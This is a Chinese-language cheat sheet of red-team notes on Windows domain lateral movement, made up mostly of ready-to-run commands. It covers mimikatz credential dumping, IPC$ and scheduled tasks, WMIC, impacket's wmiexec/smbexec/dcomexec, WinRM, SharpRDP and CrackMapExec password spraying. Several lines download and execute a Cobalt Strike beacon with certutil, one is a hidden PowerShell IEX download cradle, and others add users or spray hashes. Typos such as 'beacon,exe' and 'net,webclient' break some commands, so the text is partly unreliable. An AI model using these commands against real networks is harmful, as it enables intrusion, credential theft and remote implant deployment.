横向移动-1
横向移动-1
域外用户
1,尝试提权(system)
2,获取域内用户(枚举)及凭据
https://github.com/ropnop/kerbrute
Minikatz
https://github.com/ParrotSec/mimikatz
当系统为win10或者2012R2以上,内存中默认禁止缓存明文密码
可通过修改注册表的方式进行抓取,但需要重启后重新登录1时才能抓取
windows 2012以上默认关闭了Wdigest,所以攻击者无法通过内存获取明文密码
针对以上情况,四种解决办法:
1,利用(PTH,PTK)等进行移动,不需要密码
2,利用其他服务协议(SMB/WMI 等进行哈希移动)
3,利用注册表开启(wdigest auth)进行获取
4,利用工具或者第三方平台(HASHCAT进行破解获取)
IPC域内移动
IPC是共享“命名管道”的资源,它是一个用于程序通讯的开放管道,通过提供一个可信的用户和密码,连接双方可以建立一个安全通道并通过这个通道交换加密数据,从而实现对远程计算机的访问。需要使用目标系统用户的账户密码,使用139,445端口
1,建立IPC链接到目标主机
2,拷贝要执行的命令脚本到目标主机
3,查看目标时间,创建计划任务(at,schtasks)定时执行拷贝到的脚本
4,删除IPC链接
建立失败原因:
1,目标主机不是NT或以上的操作系统
2,对方没有打开IPC$共享
3,对方未开启139,445端口,或者被防火请屏蔽
4,输出命令,账号密码有错误
IPC$利用命令:
1 | net use \\server\ipc$ "password" /user:计算机名\username #工作组 |
域内用户权限:webadmin权限
1 | net use \\ip\ipc$ "密码" /user:计算机名\administrator |
域外用户权限:administrator权限
1 | net use \\ip\ipc$ "密码" /user:计算机名\administrator |
at & schtasks 计划任务配合
1,at < Windows2012
1 | copy beacon,exe \\192.168.3.21\c$ #拷贝执行文件到目标机器 |
2,schtasks >=Windows2012
1 | copy beacon,exe \\192.168.3.32\c$ #拷贝执行文件到目标机器 |
impacket
https://github.com/fortra/impacket
atexec.py连接(Socks代理下)
1 | python atexec.py ./administrator:密码@IP "ver" |
WMIC
从win2003开启一直存在,它原本的作用是方便管理员对windows主机进行管理。因此在内网渗透中,我们可以使用WMI进行横向移动,支持用户明文或者hash的方式进行认证,并且该方式不会在目标日志系统留下痕迹
利用条件:
1,WMI服务开启,端口135,默认开启
2,防火请运行135,445等端口通信
3,知道目标机的账户密码或HASH
利用:
1.wmic
使用目标系统的cmd.exe执行一条命令,将执行结果保存在C盘的ip.txt文件中,
1 | WMIC /node:192.168.159.130 /user:test\administrator /password:admin123! Process Call Create "cmd.exe /c ipconfig >c:\ip.txt" |
建立ipc$后,使用type命令读取执行结果,具体如下
1 | net use \\192.168.1.3\ipc$ "Admin!@#$4321" /user:administrator |
或者上传后门文件
1 | WMIC /node:192.168.159.130 /user:test\administrator /password:admin123! Process Call Create "certutil -urlcache -split -f http://192.168.3.32/beacon.exe c:/beacon.exe" |
impacket工具包中的wmiexec
Impacket-windows工具包下载地址:https://github.com/maaaaz/impacket-examples-windows
1 | wmiexec.exe hacke/administrator:Admin!@#$4321@192.168.1.2 |
或者wmiexec.py文件
1 | python wmicexec.py test/administrator:admin!@#123@192.168.2.32 |
下载后门
1 | python wmiexec.py test/admininstrator:admin!@123@192.168.2.32 "certutil -urlcache -split -f http://192.168.3.32/beacon.exe c:/beacon.exe" |
执行后门
1 | python wmiexec.py test/admininstrator:admin!@123@192.168.2.32 "c:/beacon.exe" |
2.cscript(没啥用)
Wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec功能。wmiexec.vbs可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell
下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs 这里有个坑,不能直接用wget下载,需要直接把代码复制下来编辑成.vbs文件
1 | 1、半交互模式 |
获得一个半交互模式shell
3.Invoke-WmiCommand
Invoke-WmiCommand.ps1脚本包含在PowerSploit工具包很难过。该脚本主要通过powershell调用WMI来远程执行命令,本质还是在利用WMIs
1 | //目标系统用户名 |
4.Invoke-WMIMethod
Powershell自带的Invoke-WMIMethod可以在远程系统中执行命令和指定程序
1 | //目标系统用户名 |
5.crackmapexec
1 | crackmapexec 192.168.1.1 -u administrator -p Admin!@#$4321 -x "net user test test /add" |
6.smbexec
smbexec可以通过文件共享(admin$、C$、ipc$、d$)在远程系统中执行命令,使用的时候,目标系的共享必须试开放的错c 、ipc、admin
C++版smbexec的下载地址https://github.com/sunorr/smbexec
1、工具使用
- test.exe:客户端程序
- exec server.exe:目标系统中的辅助程序
2、使用方法
将execserver.exe上传到目标系统的C:\windwos\目录下,接触UAC对命令执行的限制。在命令行环境中执行如下命令
1 | net use \\192.168.1.3 "Admin!@#$4321" /user:HACKE\administrator |
之后在客户端的命令行环境中执行如下命令s
1 | test.exe 192.168.1.3 administrator Admin!@#$4321 whoami c$ |
VS2019编译的时候有问题,没编译成exes
impact 工具包中的smbexec.exe
这里依旧使用windows下编译好的smbexec.exe这里要注意的有两点,一个是\是为了转义而添加的,二是在密码处可以用双引号阔起来。这里因为在Windows下测试的,没有出现这个情况
1 | smbexec.exe HACKE/administrator:Admin!@#$4321@192.168.1.1 |
DOM
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。通过DOCM,客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。
DCOM是基于组件对象模型(COM)的。COM提供了一套允许在同一台计算机上的客户端和服务器之间进行通信的接口(运行在Windows95及之后版本的操作系统中)
条件:
1,使用目标Win7系统以上
2,管理员权限PowerShell
3,远程主机防火强未阻止
dcomexec-impacket
1 | python dcomexec.py test/administrator:admin!@#123@192.168.3.32 |
WinRM&WinRS
WinRM(Windows Remote Management), Windows远程管理,WinRM允许远程用户使用工具和脚本对Windows服务器进行管理并获取数据。Server2008 R2中默认开启该服务,Server2012开始,该服务便集成在系统中默认开启,家庭版的电脑是默认关闭的这种远程连接不会被客户端察觉到,也不会占用远程连接数!
WinRM端口:
HTTP是5985端口进行通信
HTTPS 是5986端口来进行通信
对方防火墙关闭,或者允许WinRM端口进行通信
开启WinRM服务
有俩种方式:
- powershell 运行 enable-psremoting
- cmd运行winrm quickconfig
通过winrs来执行远程命令
winrs:
1 | winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig" |
winrm.cmd
上线C2:
1 | winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "cmd.exe /c certutil -urlcache -split -f http://192.168.3.32/beacon.exe beacon.exe & beacon.exe" |
winrm.cmd
CS上:
1 | shell winrm invoke Create wmicimv2/win32_process @{CommandLine="cmd.exe /c certutil -urlcache -split -f http://192.168.3.32/beacon.exe beacon.exe & beacon.exe"} -r:机器名 -u:机器名\用户名 -p:密码 |
powershell:
1 | Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ } |
如果报错,运行此命令
只需要输入下面指令注册一下即可
1 | winrm set winrm/config/Client @{TrustedHosts="*"} |
RDP
远程左面服务,支持明文及HASH连接
条件:目标主机开启RDP服务,远程桌面,获取了明文或HASH密文
端口:3389
mstsc.exe
1 | tasklist /svc | find "TermService" #找到对应服务进程的PID |
端口转发映射(不可取)
使用HTTP隧道,将对方3389端口绑定到本地2222端口
连接本地的127.0.0.1:2222端口
将获取的账户密码进行登录
SharpRDP(比较鸡肋)
在不通过 GUI 客户端和 Socks 代理的情况下,基于 RDP 协议进行横向移动。
https://github.com/0xthirteen/SharpRDP ,下载后直接用 Visual Studio 编译运行即可。
C2上线
1 | SharpRDP.exe computername=ip command="powershell.exe -nop -w hidden -c \"IEX ((new-object net,webclient).downloadstring('http://ip:83/a'))\"" |
CrackMapExec-密码喷射
https://github.com/byt3bl33d3r/CrackMapExec
下载对应release,建立socks连接,设置socks代理,配置规则,调用!
1,Linux Proxychains使用
代理配置:Proxychains.conf
代理调用:Proxychains命令
2,密码喷射-域用户登录PTH:
1 | 参数:-u 用户 ,-p 密码,-H 哈希值,-d 指定域,-x 执行命令 |
主要功能:多协议探针,字典设置,本地及域喷射,命令回显执行等
1 | proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518fa788f8878dc788faa89889c #域用户HASH登录 |
1 | 上线C2 |